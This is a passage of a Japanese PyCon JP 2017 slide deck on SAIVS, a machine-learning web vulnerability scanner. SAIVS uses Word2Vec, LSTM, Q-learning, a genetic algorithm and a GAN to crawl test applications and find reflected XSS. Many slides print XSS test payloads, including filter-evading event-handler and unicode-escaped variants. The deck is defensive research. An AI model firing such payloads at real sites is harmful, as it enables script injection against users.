    33. 33. Word2Vecによる「最適文字入力」 MBSD ラベル 遷移成功時の入力値 ID abc, abcdef, aBc, aBcdEf, ABCDEF … Password abc123!, 123abc!, abc!123, !#$%&a1 … FirstName abc, abcdef, aBc, aBcdEf, ABCDEF … LastName abc, abcdef, aBc, aBcdEf, ABCDEF … E-mail abc@hoge.com, abc123@hoge.com … Username abc, abcdef, aBc, aBcdEf, ABCDEF … Signature abc, abcdef, aBc, aBcdEf, ABCDEF … ・・・ ・・・ ・遷移成功時のラベルと入力値の組み合わせ PYCON JP 2017
    34. 34. ラベル不一致問題をどうするか? MBSD 訓練時 本番時 不一致!! PYCON JP 2017 UsernameとNameなど、微妙な単語の違いを Word2Vecで吸収(類似度を計算)。
    35. 35. Word2Vec? 単語同士の類似度を求める自然言語処理の手法 単語をベクトルで表現 MBSD 利用例)  単語の類似度 Input : e-mail  単語の加算・減算 word cos distance email 0.956302 mail 0.927386 reply 0.920610 formula answer Iraq - Violence Jordan Human - Animal Ethics Japan – Tokyo + France Paris PYCON JP 2017
    36. 36. 類似度計算への利用例 MBSD 注目単語周辺の単語を基に類似度を計算 学習データ) interpretation further. However, if anyone wishes to discuss this, I‘m certainly willing (either offline - e-mail - or Stephen In article bevans@carina.unm.edu (Mathemagician) writes: Just what do gay people do that straight・・・ carries archives of old alt.atheism.moderated articles and assorted other files. For more information, send mail to archive-server@mantis.co.uk saying help send atheism/index and it will mail back a reply. mathew An・・・ send mail to archive-server@mantis.co.uk saying help send atheism/index and it will mail back a reply. mathew An Introduction to Atheism by Mathew. This article attempts to provide a general introduction・・・ 「e-mail」「mail」「reply」の類似度は高い PYCON JP 2017
    37. 37. Word2Vecの学習データ MBSD The 20 Newsgroups data set. 約2万のニュースグループドキュメント集 ニュースグループ例)  コンピュータ(Graphics, MS-Windows, Hardware)  サイエンス(Cryptography, Electronics, Space)  趣味(Motorcycles, Baseball, Hockey) PYCON JP 2017
    38. 38. SAIVSの訓練 MBSD Windows Crypt Hardware Space SAIVS The 20 Newsgroups data set 類似度の学習 単語同士の類似度の習得 ・・・ word2vec PYCON JP 2017
    39. 39. MBSD 候補 類似度 email 0.956302 mail 0.927386 E-mail 0.900249 address 0.893337 reply 0.865438 contact 0.846801 message 0.792930 chat 0.754903 newsgroup 0.747636 候補 類似度 names 0.962508 username 0.939661 nickname 0.933694 naming 0.898254 surname 0.863966 initials 0.861093 firstname 0.849641 lastname 0.847604 title 0.782467 候補 類似度 homepage 0.794415 blog 0.752945 site 0.708534 webpage 0.701838 portal 0.701374 forum 0.692067 com 0.641086 archive 0.537914 org 0.531096 Word2Vecによる類似度計算 未知のラベルに対する上位10個の候補単語を抽出 Target :websiteTarget :nameTarget : e-mail PYCON JP 2017
    40. 40. MBSD 候補 類似度 email 0.956302 mail 0.927386 E-mail 0.900249 address 0.893337 reply 0.865438 contact 0.846801 message 0.792930 chat 0.754903 newsgroup 0.747636 候補 類似度 names 0.962508 username 0.939661 nickname 0.933694 naming 0.898254 surname 0.863966 initials 0.861093 firstname 0.849641 lastname 0.847604 title 0.782467 候補 類似度 homepage 0.794415 blog 0.752945 site 0.708534 webpage 0.701838 portal 0.701374 forum 0.692067 com 0.641086 archive 0.537914 org 0.531096 Word2Vecによる類似度計算 Target :websiteTarget :nameTarget : e-mail PYCON JP 2017 候補一覧から訓練時のラベルと一致する単語を選択
    41. 41. MBSD 候補 類似度 email 0.956302 mail 0.927386 E-mail 0.900249 address 0.893337 reply 0.865438 contact 0.846801 message 0.792930 chat 0.754903 newsgroup 0.747636 候補 類似度 names 0.962508 username 0.939661 nickname 0.933694 naming 0.898254 surname 0.863966 initials 0.861093 firstname 0.849641 lastname 0.847604 title 0.782467 候補 類似度 homepage 0.794415 blog 0.752945 site 0.708534 webpage 0.701838 portal 0.701374 forum 0.692067 com 0.641086 archive 0.537914 org 0.531096 Word2Vecによる類似度計算 ⇒ abc@hoge.com ⇒ aBcdEf ⇒ http://hoge.com Target :websiteTarget :nameTarget : e-mail PYCON JP 2017 (訓練で習得した)候補単語に紐づく値を選択
    42. 42. クローリングのデモ MBSD Target:OWASP Broken Web Apps Cyclone PYCON JP 2017
    43. 43. クローリングのデモ MBSD Top Login Register Confirm User Search Complete 1.Registerでアカウント作成 2.ログイン 3.ユーザ検索 脆弱性 PYCON JP 2017
    44. 44. クローリングのデモ MBSD Top Login Register Confirm User Search Complete 1.Registerでアカウント作成 2.ログイン 3.ユーザ検索 PYCON JP 2017
    45. 45. クローリングのデモ MBSD Top Login Register Confirm User Search Complete 1.Registerでアカウント作成 2.ログイン 3.ユーザ検索 PYCON JP 2017
    46. 46. クローリングのデモ MBSD Top Login Register Confirm User Search Complete 1.Registerでアカウント作成 2.ログイン 3.ユーザ検索 PYCON JP 2017
    47. 47. クローリングのデモ MBSD Top Login Register Confirm User Search Complete 1.Registerでアカウント作成 2.ログイン 3.ユーザ検索 PYCON JP 2017
    48. 48. MBSD PYCON JP 2017 デモ動画 https://www.youtube.com/watch?v=aXw3vgXbl1U
    49. 49. クローリングの3要件 MBSD  ページ種別の認識(✔)  遷移成否の認識 (✔)  最適文字の入力(✔) PYCON JP 2017
    50. 50. PYCON JP 2017 SAIVSの能力 MBSD ・Webアプリのクローリング ・脆弱性の検出 http://www.mbsd.jp/insight.html
    51. 51. PYCON JP 2017 脆弱性の検出 MBSD 少ない手数で脆弱性を検出
    52. 52. PYCON JP 2017 今回対象とした脆弱性 MBSD Reflected Cross-Site Scripting (クロスサイトスクリプティング:XSS)
    53. 53. PYCON JP 2017 XSSの検査例① MBSD ・・・ <body> <input type="text" value="testData"> </body> ・・・ http://xxx/case1/?input=testData 1) 適当な値を入力 2) 入力値の出力箇所を観察 診断員 入力値がINPUTタグのVALUE属性値 に出力される。 「”/>」でINPUTタグを閉じた後に スクリプトを挿入できないか?
    54. 54. XSSの検査例① MBSD ・・・ <body> <input type="text" value=""/><script>alert(0);</script>"> </body> ・・・ http://xxx/case1/?input="/><script>alert(0);</script> 1) 検査値を入力 2) 入力値の出力箇所を観察 診断員 INPUTタグを「”/>」で閉じ、 その後にスクリプトが挿入できた。 (HTMLの理解が必要) PYCON JP 2017
    55. 55. PYCON JP 2017 XSSの検査例② MBSD ・・・ <input type="button" value="click" onClick="var user='testData'; alert('Welcome Mr. ' + user);"> ・・・ http://xxx/case3/?input=testData 1) 適当な値を入力 2) 入力値の出力箇所を観察 診断員 入力値がJavaScriptの変数宣言部に 出力される。 「’;」で変数宣言を終えた後に スクリプトを挿入できないか?
    56. 56. XSSの検査例② MBSD ・・・ <input type="button" value="click" onClick="var user='testData'; alert(0);//'; alert('Welcome Mr. ' + user);"> ・・・ http://xxx/case3/?input=testData';%20alert(0);// 1) 検査値を入力 2) 入力値の出力箇所を観察 診断員 変数宣言を「’;」で終えさせ、 その後にスクリプトが挿入できた。 (JavaScriptの理解が必要) PYCON JP 2017
    57. 57. XSSの検査例③ MBSD ・・・ <body> <input type="text" value=""/> alert(0);"> </body> ・・・ http://xxx/case2/?input="/><script>alert(0);</script> 1) 検査値を入力 2) 入力値の出力箇所を観察 診断員 SCRIPTタグが削除されている。 入力値を工夫しないとスクリプトが 挿入できない。 PYCON JP 2017
    58. 58. XSSの検査例③ MBSD ・・・ <body> <input type="text" value=""/> alert(0);"> </body> ・・・ http://xxx/case2/?input="/><script>alert(0);</script> 1) 検査値を入力 2) 入力値の出力箇所を観察 診断員 (過去の経験から)SCRIPTタグ を使わない検査値を試そう。 PYCON JP 2017
    59. 59. XSSの検査例③ MBSD ・・・ <body> <input type="text" value=""onmouseout=alert(0)""> </body> ・・・ http://xxx/case2/?input =“onmouseout=alert(0)” 1) 代替の検査値を入力 2) 入力値の出力箇所を観察 診断員 イベントハンドラを使うことで、 スクリプトの挿入ができた。 (防御機構の回避) PYCON JP 2017
    60. 60. XSS検出の3要件 MBSD  HTML構文の理解  JavaScript構文の理解  防御機構の回避 PYCON JP 2017
    61. 61. 使用する機械学習アルゴリズム+α MBSD  HTML構文の理解 LSTM  JavaScript構文の理解 LSTM  防御機構の回避 多層パーセプトロン、Q学習、GA PYCON JP 2017
    62. 62. 使用する機械学習アルゴリズム+α MBSD  HTML構文の理解 LSTM  JavaScript構文の理解 LSTM  防御機構の回避 多層パーセプトロン、Q学習、GA PYCON JP 2017
    63. 63. LSTM(Long-Short Term Memory)? 時系列データの学習が可能な機械学習アルゴリズム 短期的・長期的なデータ間の依存関係を学習可能 MBSD 利用例)  機械翻訳  文書生成(小説、歌詞、ソースコード)  音生成(音楽、声) PYCON JP 2017
    64. 64. LSTM(Long-Short Term Memory)? 時系列データの学習が可能な機械学習アルゴリズム 短期的・長期的なデータ間の依存関係を学習可能 MBSD 利用例)  機械翻訳  文書生成(小説、歌詞、ソースコード)  音生成(音楽、声) PYCON JP 2017
    65. 65. 文書生成への利用例 MBSD ソースコードの生成(from Andrej Karpathy blog) static int indicate_policy(void) { int error; if (fd == MARN_EPT) { if (ss->segment < mem_total) unblock_set_blocked(); else ret = 1; goto bail; } segaddr = in_SB(in.addr); selector = seg / 16; ・・・ 学習データ static void settings(struct *tty) { if (tty == tty) disable_single_st_p(dev); pci_disable_spool(port); return 0; } static void command(struct seq_file *m) { int column = 32 << (cmd[2] & 0x80); if (state) ・・・ LSTMの生成コード 起点(シード)を基に次々とコードを生成 PYCON JP 2017
    66. 66. LSTMの使用方法(1/4) MBSD <!doctype html><html><head><title>Reflected XSS in textarea (textarea1)</title></head><body> <H2>Textarea injection test</H2> <FORM> <textarea name="in" rows="5" cols="60">xxx</textarea> ・・・ http://xxx/textarea1?in=xxx 入力値がTEXTAREA内に出力 PYCON JP 2017 1) 値の入力 2) 入力値の出力箇所を観察
    67. 67. LSTMの使用方法(2/4) MBSD <!doctype html><html><head><title>Reflected XSS in textarea (textarea1)</title></head><body> <H2>Textarea injection test</H2> <FORM> <textarea name="in" rows="5" cols="60"> <script>alert('XSS');</script></textarea> ・・・ http://xxx/textarea1?in=<script>alert(‘XSS’);</script> 文脈を無視しているため、スクリプトは動作しない。 ⇒単純なスクリプト挿入は不可 PYCON JP 2017 1) 検査値を入力 2) 入力値の出力箇所を観察
    68. 68. MBSD <!doctype html><html><head><title>Reflected XSS in textarea (textarea1)</title></head><body> <H2>Textarea injection test</H2> <FORM> <textarea name="in" rows="5" cols="60">xxx</textarea> ・・・ http://xxx/textarea1?in=xxx 「TEXTAREAタグを閉じた後にスクリプト挿入?」 LSTMの使用方法(3/4) PYCON JP 2017 1) 値の入力 2) 入力値の出力箇所を観察
    69. 69. MBSD <!doctype html><html><head><title>Reflected XSS in textarea (textarea1)</title></head><body> <H2>Textarea injection test</H2> <FORM> <textarea name="in" rows="5" cols="60"></textarea><script>alert('XSS');</script></t extarea> ・・・ http://xxx/textarea1?in=</textarea><script>alert(‘XSS’);</script> LSTMの使用方法(4/4) 文脈を理解してスクリプト挿入、スクリプトが動く!! PYCON JP 2017 1) 検査値を入力 2) 入力値の出力箇所を観察
    70. 70. LSTMの学習データ(HTML) MBSD <abbr class="" data-utime="" title=""></abbr> <abbr class='' title=''></abbr> <abbr data-utime='' title=''></abbr> ・・・ <input name="" type="" value=""/> <input alt="" id="" onclick="" src="" type=""/> <input alt='' id="" src='' type=''/> <input alt='' name='' src='' type=''/> ・・・ <video autoplay="" loop="" muted=""></video> <video class="" height="" id="" width=""></video> <video src='' tabindex=''></video> <video src=''></video> 2万ページ分のHTML構文 (約12,000種類) PYCON JP 2017
    71. 71. MBSD _satellite.pageBottom();'] (function(window) { var _gaq = _gaq || []; var methods = ['log', 'dir', 'trace']; if (typeof window.console === 'undefined') { window.console = {}; } for (var i in methods) { if (!(methods[i] in window.console)) { window.console[methods[i]] = function() {}; } } }(window)); LSTMの学習データ(JavaScript) 1万ページ分のJavaScript構文 PYCON JP 2017
    72. 72. (学習済み)LSTMが生成した構文例 MBSD シード 生成構文 <textarea cols="60">xxx </textarea> <!– mbsdtest xxx --> <input type="" value=“xxx "> var hoge = ['log', ‘xxx red’];¥r¥n /* mbsdtest xxx */ function(){ xxx }¥r¥n シードに対応した構文を生成。 文脈に沿ってスクリプト挿入が可能。 PYCON JP 2017
    73. 73. XSS検出の3要件 MBSD  HTML構文の理解 LSTM  JavaScript構文の理解 LSTM  防御機構の回避 多層パーセプトロン、Q学習、GA PYCON JP 2017
    74. 74. 多層パーセプトロン(MLP)? 画像認識などに使用される機械学習アルゴリズム 生物の神経回路構造と機能を模したモデル MBSD 利用例)  画像認識  手書き数字認識 PYCON JP 2017
    75. 75. ・ ・ ・ ・ ・ ・ ・ ・ ・ Data Label 0 1 2 学習データ 手書き数字認識への利用例 MBSD ・ ・ ・ ・ ・ ・ ・ ・ ・ X₁ X₂ X784 X0 Y₁ Y₂ Y300 Y0 Z₁ Z₂ Z10 MLP 学習 入力データに応じた”答え”を出力することが可能 PYCON JP 2017
    76. 76. 学習済みMLP 014679 425970401967 手書き数字認識への利用例 MBSD PYCON JP 2017
    77. 77. Q学習? エージェントの最良行動を学習する機械学習アルゴリズム 行動の良し悪しをQ値で評価 MBSD 利用例)  ロボットの歩行動作習得  ビデオゲームのプレイ  経路探索 PYCON JP 2017
    78. 78. ロボット歩行動作習得への利用例 MBSD エージェント 環境 a1 前進 a2 左折 a3 右折 a4 後退 行動 状態 s ・・・ 次の状態 s’ 方策 ( a | s ) 遷移確率 ( s’ | s, a ) 目の前に穴が… 報酬 r = R( s, a, s’ ) タスク:障害物を避けてゴールすること 報酬の合計が最大となる方策を学習 Q( s, a )値の更新 PYCON JP 2017
    79. 79. MBSD ・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 防御機構回避を実現するモデル ・ ・ ・ 評価 重み更新 “ ⇒ &quot; < ⇒ &lt; ・・・ 防御機構 > ⇒ &gt; Deep Q-Networkを参考にしたモデル Multilayer Perceptron PYCON JP 2017
    80. 80. 出力箇所のパターン MBSD 出力箇所 例 属性値 : 「”」 <~value="xxx"> 属性値 : 「'」 <~value='xxx'> 属性値 : noquote <~value=xxx> JavaScript 内 <script>xxx</script> HTML タグの外側 <~>xxx</~> PYCON JP 2017
    81. 81. 防御機構のパターン MBSD 防御機構 例 「“」の実体参照への変換・排除 「”」⇒「&quot;」 「‘」の実体参照への変換・排除 「’」⇒「&apos;」 「<」の実体参照への変換・排除 「<」⇒「&lt;」 「>」の実体参照への変換・排除 「>」⇒「&gt;」 「alert();」の排除 「alert();」⇒「」 PYCON JP 2017
    82. 82. MBSD ・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 防御機構回避を実現するモデル ・ ・ ・ 評価 重み更新 “ ⇒ &quot; < ⇒ &lt; ・・・ 防御機構 > ⇒ &gt; Multilayer Perceptron PYCON JP 2017 出力箇所/防御機構のパターンをMLPに入力
    83. 83. MBSD ・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 防御機構回避を実現するモデル ・ ・ ・ 評価 重み更新 “ ⇒ &quot; < ⇒ &lt; ・・・ 防御機構 > ⇒ &gt; Multilayer Perceptron PYCON JP 2017 (入力に対する)何れかの検査値を選択
    84. 84. MBSD ・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 防御機構回避を実現するモデル ・ ・ ・ 評価 重み更新 “ ⇒ &quot; < ⇒ &lt; ・・・ 防御機構 > ⇒ &gt; Multilayer Perceptron PYCON JP 2017 MLPが選択した検査値で検査を試行
    85. 85. MBSD ・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 防御機構回避を実現するモデル ・ ・ ・ 評価 重み更新 “ ⇒ &quot; < ⇒ &lt; ・・・ 防御機構 > ⇒ &gt; Multilayer Perceptron PYCON JP 2017 検査結果を観測
    86. 86. MBSD ・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 防御機構回避を実現するモデル ・ ・ ・ 評価 重み更新 “ ⇒ &quot; < ⇒ &lt; ・・・ 防御機構 > ⇒ &gt; Multilayer Perceptron PYCON JP 2017 検査結果に応じた報酬の付与
    87. 87. MBSD ・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 防御機構回避を実現するモデル ・ ・ ・ 評価 重み更新 “ ⇒ &quot; < ⇒ &lt; ・・・ 防御機構 > ⇒ &gt; Multilayer Perceptron PYCON JP 2017 MLPの重みを更新
    88. 88. MBSD ・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 防御機構回避を実現するモデル ・ ・ ・ 評価 重み更新 “ ⇒ &quot; < ⇒ &lt; ・・・ 防御機構 > ⇒ &gt; 検査試行を繰り返しながら防御機構の回避パターンを学習 Multilayer Perceptron PYCON JP 2017
    89. 89. MBSD ・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 防御機構回避を実現するモデル ・ ・ ・ 評価 重み更新 “ ⇒ &quot; < ⇒ &lt; ・・・ 防御機構 > ⇒ &gt; 検査試行を繰り返しながら防御機構の回避パターンを学習 Multilayer Perceptron PYCON JP 2017
    90. 90. 検査値の一例 <script>alert();</script> <img[Sp]src=x[Sp]onerror=alert();> </textarea><script>alert();</script> "><script>alert();</script> '--><script>prompt();</script> "><frame[Sp]src="javascript:prompt()"> ';[Sp]alert();// '[CrLf][Sp]MsgBox[Sp]'3122 [CrLf][Sp]MsgBox[Sp]Document.Domain javascript:alert``; "[Sp]&[Sp]msgbox("exploit")[Sp]&[Sp]"aa */[CrLf]alert``;// ・・・ 様々なパターンがあり、作成にはノウハウが必要。 MBSD PYCON JP 2017
    91. 91. PYCON JP 2017MBSD 検査値はどうやって集めるのか?
    92. 92. PYCON JP 2017MBSD 集めるのではなく、 自動生成する。
    93. 93. PYCON JP 2017 検査値の自動生成方法 MBSD ・遺伝的アルゴリズム (Genetic Algorithm:GA) ・Generative Adversarial Networks (GAN)
    94. 94. PYCON JP 2017 生成手順 MBSD 1.GAで検査値を幾つか生成(5~6パターンくらい) 2.GANで(1の検査値を基に)大量の検査値を生成
    95. 95. PYCON JP 2017 生成手順 MBSD 1.GAで検査値を幾つか生成(5~6パターンくらい) 2.GANで(1の検査値を基に)大量の検査値を生成
    96. 96. PYCON JP 2017 遺伝的アルゴリズム(Genetic Algorithm:GA) MBSD 進化計算を繰り返し、最適な遺伝子の組み合わせの個体を探索。 Initialization Fitness/Evaluation CrossoverMutation Individual ● ▲ ■ × ★Gene Selection Generation alternation
    97. 97. PYCON JP 2017 GAによる検査値の生成方法 MBSD ・XSSの検査値の一例 “><script>alert();</script> <object data=xss.html> <svg/onload=al¥u0065rt();> <video><source onerror=confirm(1);> <iframe onload=alert();> ・・・ 検査値はHTMLやJavaScriptの要素の組み合わせで構成。
    98. 98. PYCON JP 2017 GAによる検査値の生成方法 MBSD ・XSSの検査値の一例 [“], [>], [<script>], [alert();], [</script>] [<object], [data=], [xss.html], [>] [<svg], [/], [onload=], [al¥u0065rt();], [>] [<video>], [<source], [onerror=], [confirm(1);], [>] [<iframe], [onload=], [alert();], [>] ・・・ 各検査値の最小要素を遺伝子として定義。
    99. 99. PYCON JP 2017 GAによる検査値の生成方法 MBSD MDN docs等から要素を収集し、約220種類の遺伝子を定義。 ・遺伝子リスト
    100. 100. PYCON JP 2017 GAによる検査値の生成方法 MBSD ・生成手順の詳細 https://www.mbsd.jp/blog/20170821.html
    101. 101. PYCON JP 2017 GAによる検査値の生成方法 MBSD 進化計算を繰り返すことで、約6種類の検査値を生成。 ※計算時間は各5時間程度 No 検査値 1 <script>al¥u0065rt``;</script> 2 <iframe/onload=alert();><select/cols= 3 <svg/onload=alert();></iframe><q 4 <video><source onerror=confirm(1);> 5 <body onload=alert();><form </thead> 6 <video><source onerror=alert();src=x <video> ・GAで生成した検査値例
    102. 102. PYCON JP 2017 GAによる検査値の生成方法 MBSD 進化計算を繰り返すことで、約6種類の検査値を生成。 ※計算時間は各5時間程度 ⇒ あまり効率的ではない・・・ No 検査値 1 <script>al¥u0065rt``;</script> 2 <iframe/onload=alert();><select/cols= 3 <svg/onload=alert();></iframe><q 4 <video><source onerror=confirm(1);> 5 <body onload=alert();><form </thead> 6 <video><source onerror=alert();src=x <video> ・GAで生成した検査値例
    103. 103. PYCON JP 2017 生成手順 MBSD 1.GAで検査値を幾つか(5~6パターンくらい)生成 2.GANで(1の検査値を基に)大量の検査値を生成
    104. 104. PYCON JP 2017 Generative Adversarial Networks:GAN MBSD 訓練データを模倣したfakeデータを大量に生成。 ・ ・ ・ Noise (Z) Generator (G) ・ ・ ・ Generative Data : G(z) ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Probability True? X
    105. 105. PYCON JP 2017 GANの利用例 MBSD 学習を重ねることで、徐々に訓練データに近似したデータを生成。 ・訓練データ ・GANで生成したデータ
    106. 106. PYCON JP 2017 GANによる検査値の生成方法 MBSD ・ ・ ・ Noise (Z) Generator (G) ・ ・ ・ Generative Data : G(z) ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Genetic Algorithm Probability True? GAN ”GAの検査値“を訓練データにし、様々な検査値を生成。
    107. 107. PYCON JP 2017 GANで生成した検査値 MBSD 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ:<script>alert();</script></table><hr/ --------------------------------------------------- 生成データ: <script>alert``;</script><table/</td> <script>al¥u0065rt();</script></tr><th/ <script>prompt(1);</script><th/<col/ <script>confirm(1);</script><thead <table/ ・・・ ・GANの学習過程で生成された検査値
    108. 108. PYCON JP 2017 GANで生成した検査値 MBSD 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ:<iframe/onload=alert();><select/ --------------------------------------------------- 生成データ: colspan=<iframe <a onload=al¥u0065rt();> <object/onload="onfocus=alert();"<script type="text/javascript"> <iframe onload=alert``; /><select icon=<iframe/<img onload=al¥u0065rt();> ・・・ ・GANの学習過程で生成された検査値
    109. 109. PYCON JP 2017 GANで生成した検査値 MBSD 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ:<svg/<canvas/<select/onload=confirm(1);> --------------------------------------------------- 生成データ: <svg/onload="¥u0061lert();"></output> <object/src=x onload=alert();¥n<script type="text/javascript"> <script/src="data:text/html,alert();"<script></script> <svg/onload=confirm(1);> ・・・ ・GANの学習過程で生成された検査値
    110. 110. PYCON JP 2017 GANで生成した検査値 MBSD 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ:<video><source onerror=confirm(1);> --------------------------------------------------- 生成データ: <video><source onerror="¥u0061lert``;"> <video><source onerror="al¥u0065rt``;"> <video><source/onerror=alert();> <video><source onerror=prompt(1);> ・・・ ・GANの学習過程で生成された検査値
    111. 111. PYCON JP 2017 GANで生成した検査値 MBSD 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ:icon=<iframe/<body onload=¥u0061lert();> --------------------------------------------------- 生成データ: headers=<body/<body onload=alert();> icon=<body <input/onload=confirm(1);> kind=<body <img onload=alert``;> <img src=x <keygen onerror=¥u0061lert``;> ・・・ ・GANの学習過程で生成された検査値
    112. 112. PYCON JP 2017 GANで生成した検査値 MBSD 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ: <embed onload=alert();<script type="text/javascript"> --------------------------------------------------- 生成データ: <embed/onload=al¥u0065rt();¥n<script type="text/javascript"> <embed onload=alert``;¥n<script type="text/javascript"> <embed/onload=prompt(1);¥n<script type="text/javascript"> <embed/src=x onload=confirm(1);¥n<script type="text/javascript"> ・・・ ・GANの学習過程で生成された検査値
    113. 113. PYCON JP 2017MBSD GAとGANを組み合わせたモデルを 使用することで、効率よく大量の 検査値を生成可能。
    114. 114. XSS検出の3要件 MBSD  HTML構文の理解(✔)  JavaScript構文の理解(✔)  防御機構の回避(✔) PYCON JP 2017
    115. 115. MBSD SAIVSの検査手順  第1次検査  第2次検査 PYCON JP 2017
    116. 116. クローリングしながら、(入力値の) 出力箇所を調べるために正常リクエストを送信 MBSD Web Server Web Apps SAIVS 正常リクエスト送信 第1次検査 PYCON JP 2017
    117. 117. 入力値の出力箇所を認識 MBSD Web Server Web Apps SAIVS 正常リクエスト送信 レスポンスの分析 第1次検査 <~value="xxx"> PYCON JP 2017
    118. 118. 出力箇所を基にシードを抽出 MBSD Web Server Web Apps SAIVS 正常リクエスト送信 レスポンスの分析 第1次検査 <~value="xxx"> PYCON JP 2017
    119. 119. シードに続くHTML/JS構文を考える ⇒学習済みLSTMを使用 MBSD Web Server Web Apps SAIVS 正常リクエスト送信 レスポンスの分析 第1次検査 <~value=“”> PYCON JP 2017
    120. 120. 考えたHTML / JS構文の後にスクリプトを付与 MBSD Web Server Web Apps SAIVS 正常リクエスト送信 レスポンスの分析 第1次検査 <~value=“”><script>alert(3122);</script> PYCON JP 2017
    121. 121. RXSSを検出するために検査リクエストを送信 MBSD Web Server Web Apps SAIVS 検査リクエスト送信 第1次検査 <~value=“”><script>alert(3122);</script> PYCON JP 2017
    122. 122. RXSS有無を判定 検出 ⇒ 検査終了、未検出 ⇒ 第2次検査へ MBSD Web Server Web Apps SAIVS 検査リクエスト送信 レスポンスの分析 第1次検査 RXSSあり?なし? PYCON JP 2017
    123. 123. スクリプトが動作しなかった理由を探る ⇒「<」「>」がエスケープされている MBSD Web Server Web Apps SAIVS 検査リクエスト送信 レスポンスの分析 第2次検査 <~value=“”&gt;&lt;script&gt;alert(3122);・・・ PYCON JP 2017
    124. 124. 過去の経験を基に、最適な代替検査値を選択 ⇒学習済みMLPを使用 MBSD Web Server Web Apps SAIVS 検査リクエスト送信 レスポンスの分析 第2次検査 Event handler? PYCON JP 2017
    125. 125. 代替の検査値を使用した検査リクエストを送信 MBSD Web Server Web Apps SAIVS 検査リクエスト再送信 第2次検査 Event handler? PYCON JP 2017
    126. 126. RXSS有無を判定 検出 ⇒ 検査終了、未検出 ⇒ 第2次検査を再試行 MBSD Web Server Web Apps SAIVS 検査リクエスト再送信 レスポンスの分析 第2次検査 RXSSあり?なし? PYCON JP 2017
    127. 127. SAIVSのデモ MBSD Target:OWASP Broken Web Apps Google Gruyere PYCON JP 2017
    128. 128. SAIVSのデモ MBSD Top Sign up Login New snippet Sign up complete 1.Sign upでアカウント作成 2.ログイン 3.Snippet 登録 4.Profile 更新 Profile New snippet register Profile update 脆弱性 PYCON JP 2017
    129. 129. SAIVSのデモ MBSD Top Sign up Login New snippet Sign up complete 1.Sign upでアカウント作成 2.ログイン 3.Snippet 登録 4.Profile 更新 Profile New snippet register Profile update PYCON JP 2017
    130. 130. SAIVSのデモ MBSD Top Sign up Login New snippet Sign up complete 1.Sign upでアカウント作成 2.ログイン 3.Snippet 登録 4.Profile 更新 Profile New snippet register Profile update PYCON JP 2017
    131. 131. SAIVSのデモ MBSD Top Sign up Login New snippet Sign up complete 1.Sign upでアカウント作成 2.ログイン 3.Snippet 登録 4.Profile 更新 Profile New snippet register Profile update PYCON JP 2017
    132. 132. SAIVSのデモ MBSD Top Sign up Login Sign up complete 1.Sign upでアカウント作成 2.ログイン 3.Snippet 登録 4.Profile 更新 Profile Profile update New snippet New snippet register PYCON JP 2017
    133. 133. SAIVSのデモ MBSD 機能名 出力箇所/変換パターン New snippet register 出力箇所 : BODY タグ内 防御機構 : <script>⇒<block>への変換 Profile update 出力箇所 : A タグ内 防御機構 : 「<」、「>」のエスケープ クローリングしながらWebアプリの挙動を観察し、 適切な検査値を使用する必要がある。 PYCON JP 2017
    134. 134. MBSD SAIVSのデモ PYCON JP 2017 https://www.youtube.com/watch?v=N5d9oM0NcM0
    135. 135. スキャン結果 MBSD PYCON JP 2017
    136. 136. SAIVSの構成要素 MBSD 言語 Python 2.7.11 ライブラリ ・Word2Vec gensim 2.3.0 ・LSTM, 多層パーセプトロン(DQN, GAN) Keras 2.0.8 ・ナイーブベイズ, Q学習, GA not use library ・HTTP通信 requests 2.13.0 ・HTML Parser beautifulsoup4 4.5.1 動作環境 CPU : Intel Core™ i7-6500U 2.5GHz x 4core GPU : NVIDIA GeForce GTX 965M RAM : 16.0GB PYCON JP 2017
    137. 137. MBSD  クローリング能力の強化  複雑なアプリへの対応  CAPTCHAへの対応 Future work  脆弱性検出能力の強化  複雑なRXSSパターンへの対応  他脆弱性への対応 PYCON JP 2017
    138. 138. Download “.PDF” version of this document: ≫ https://www.slideshare.net/babaroa

    ×